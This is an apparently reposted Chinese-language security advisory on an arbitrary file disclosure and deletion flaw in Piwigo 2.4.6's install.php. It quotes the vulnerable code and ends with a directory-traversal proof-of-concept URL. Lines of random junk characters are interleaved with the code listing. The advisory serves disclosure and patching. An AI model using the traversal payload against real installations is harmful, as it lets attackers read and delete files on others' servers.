Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

# J! Q- @* x+ u( V% }/ z/ vPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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/install.php:
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113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
) u1 M* E1 R& ^# ~& J1 h6 L117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
/ ]* D. t" `/ f8 I7 w  }' I2 G+ c120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
  `% p* e  p/ Q$ ^% C122:   unlink($filename);
4 b" e: I2 v4 h123:   exit();
1 w3 q# E$ Y& Q1 }( [2 A  F/ o124: }
  Q* d4 K% R5 G& \* ]) J# L====================================================================
+ Q) w, g$ |: ~
5 h* Q$ N, L8 ~) `7 F( o6 L7 JTested on: Microsoft Windows 7 Ultimate SP1 (EN)
$ j* D6 k- G( B7 [           Apache 2.4.2 (Win32)
           PHP 5.4.4
! a, d, ^+ e  s# m- L           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
$ I8 Q4 H. Y7 l5 C                            @zeroscience

Advisory ID: ZSL-2013-5127
: \* \5 K: f$ `& B+ oAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
0 ]1 L. R$ w0 lVendor Patch: http://piwigo.org/bugs/view.php?id=2843
* c& y1 u: O# n
! |1 s' H) _9 q" D15.02.2013

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+ m. @% J$ R  ^3 N/ |& q+ jhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
6 k5 ]1 O& \$ U6 I( [  z, l